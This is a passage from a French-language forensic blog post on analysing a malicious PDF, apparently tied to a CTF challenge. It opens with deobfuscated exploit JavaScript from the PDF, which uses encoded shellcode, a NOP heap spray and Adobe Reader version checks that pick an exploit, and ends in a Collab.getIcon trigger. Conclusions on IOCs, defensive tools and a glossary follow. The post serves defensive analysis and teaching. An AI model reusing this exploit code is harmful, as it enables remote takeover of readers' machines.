e0e%u24c3%ud4aa%ud71d%u7246%u4a4c%u53de%ufbf6%uc952%u7098%u72fa%u153a%u1594%ub5a8%ub801%u2057%u29e5%uc6f9%ud08e%u738b%u275f%u1e42%u22e7%u411a");
				var updateX = 39796;  
                var hWq500CN = vvpethya.length * 2;
                var len = 0x400000 - (hWq500CN + 0x38);
                var zAdobe = "";
                var yarsp = unescape("%u9090%u9090");
                var dU = "";
                yarsp = s(yarsp, len);
                this.zAdobeK = "";
                var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
                var aG = new Date();  
                for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y++) {
                        var lBasic = "";
                        arry[vqcQD96y] = yarsp + vvpethya;
                        var u = "";   
                }
                var iAlpha = function() {};
                var tUMhNbGw = unescape("%09");
                while (tUMhNbGw.length < 0x4000) {
                        this.gN = false;
                        tUMhNbGw += tUMhNbGw;
                }
                var hV = new String("");
                var nVE = function() {};
                tUMhNbGw = "N." + tUMhNbGw;
                c.doc.Collab.getIcon(tUMhNbGw);
        }
        this.wZ = 44811;
}
var hO = new String("");
function nO() {
        this.iR = false;
        var version = c.viewerVersion.toString();
        var zH = '';
        version = version.replace(/D/g, '');
        var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));
        if ((varsion_array[0] == 8) && (varsion_array[1] == 0) || (varsion_array[1] == 1 &&
varsion_array[2] < 3)) {
                cN();
        }
        this.wN = "";
        var aQ = new String("");
        if ((varsion_array[0] < 8) || (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] <
2)) {
                gX();
        }
        var vEdit = "";
        if ((varsion_array[0] < 9) || (varsion_array[0] == 9 && varsion_array[1] < 1)) {
                updateE();
        }
        var eH = function() {};
        var eSJ = new Function();
        cG();
        var vUpdate = false;
}
var basicU = new Date();
this.updateO = false;
nO();
var mUpdate = function() {};

Nous voilà maintenant avec tous les codes contenus dans le PDF ! Grâce à cela, nous pouvons identifier les payloads malveillants ainsi que tous les endpoints qui nous permettront de réaliser les IOCs pour détecter d’éventuelles campagnes.

Conclusion

Pour terminer, nous avons regardé ensemble à quel point il était possible de cacher du code à l’intérieur d’un fichier PDF grâce à des scripts JavaScript, des objets embarqués et même des CVE ! Ces méthodes ont un réel impact sur les victimes si jamais elles sont compromises. Elles peuvent être utilisées dans de nombreux domaines malveillants, tels que le hameçonnage, le vol d’informations, ou même, dans notre cas, la prise de contrôle à distance. Selon le contexte, l’impact sur les victimes peut être désastreux, c’est pourquoi il faut rester vigilant, car les moyens des attaquants pour arriver à leurs fins sont de plus en plus développés, avec des scripts toujours plus obfusqués et des fichiers toujours plus cachés ! L’analyse de fichiers PDF nous permet toutefois de trouver des IOCs afin de pouvoir détecter ces fichiers malveillants avant qu’ils n’arrivent, soit par leur hash, soit par les adresses IP ou les domaines contactés.

La mise à jour du système et la sensibilisation des utilisateurs face à ce type de menace sont des priorités absolues. À l’avenir, nous aurions pu étudier comment réaliser une analyse complémentaire avec l’exécution des processus dans une sandbox ou même comprendre comment fonctionnent les attaques par social engineering à grande échelle, afin d’améliorer de manière proactive notre protection face aux individus qui utilisent les fichiers PDF dans un cadre malveillant.

Pour aller plus loin

Groupe qui utilise les fichiers PDF pour les attaques :

  • ColdRiver
  • Cozy Bear
  • OceanLotus

Analyse

Dangerzone est un outil disponible sur ce lien qui permet de sécuriser un pdf en enlevant la charge malveillante (s’il y en a une) grâce a une première transformation du pdf en image, puis une retransformation de cette image en PDF.

Virus Total est l’un des analyseurs de fichier les plus connus. Le simple fait de réaliser un premier scan avec cet outil peut suffire à déterminer si un PDF est malveillant.

MISC

Klavier (Reeder) est une IA qui peut résumer et répondre à des questions sur un PDF.

Ressources

https://artifex.com/blog/pymupdf-explored-low-level-access-to-pdf-objects https://internews.org/wp-content/uploads/2024/12/Analyse-de-documents-malveillants-partie-2-FR.pdf https://www.youtube.com/watch?v=Zj_7Wunnu2w https://cyberdefenders.org/blueteam-ctf-challenges/getpdf/ https://www.lemondeinformatique.fr/actualites/lire-le-groupe-coldriver-combine-phishing-et-malware-personnalises-92741.html https://guardia.school/boite-a-outils/focus-sur-lanalyse-forensic.html

Outil utilisé pour aider à la rédaction

https://www.deepl.com/

Glossary

CVE

Une CVE (Common Vulnerabilities and Exposures) est un dictionnaire des informations publiques relatives aux vulnérabilités de sécurité. Elles sont maintenues par l’organisme MITRE.

Payloads

Un payload (ou charge utile) est la partie des informations réellement utile pour atteindre l’objectif, une fois les informations relatives au transport enlevées.

IOC

Un IOC (Indicators of Compromise) est un indice ou une preuve permettant de détecter des comportements ou des groupes malveillants.

Framework

Un framework est un ensemble de composants logiciels qui servent à créer les fondations et les fonctions de base d’un logiciel.

Reverse shell

Un reverse shell est une technique informatique qui permet de rediriger les entrées et les sorties d’un shell (terminal) d’un ordinateur distant vers un ordinateur local.

Social engineering

Le social engineering (ou ingénierie sociale) est une pratique qui consiste à manipuler psychologiquement des personnes pour commettre une escroquerie.

Macro

Une macro est un programme qui permet d’écrire des fonctions de remplacement automatique.

Forensic

Dans le secteur de la cybersécurité, le Forensic est un examen méthodique et approfondi des actes effectués sur un système informatique après une attaque

Metasploit

Metasploit est un outil open source qui permet de tester et d’exploiter des vulnérabilités sur les systèmes d’exploitation.

Hash

Le hash est le résultat du hashage, un algorithme qui permet d’extraire des informations de données numériques pour en créer une somme unique appelée haché.

Desobfusquer

L’obfuscation consiste à masquer les informations sensibles ou les données dans un programme informatique, en modifiant leur apparence ou en masquant leur fonctionnement.

Sandbox

Une sandbox est un environnement isolé dans lequel des programmes ou des fichiers sont exécutés sans que cela affecte directement l’ordinateur de l’utilisateur.
This post is licensed under CC BY 4.0 by the author.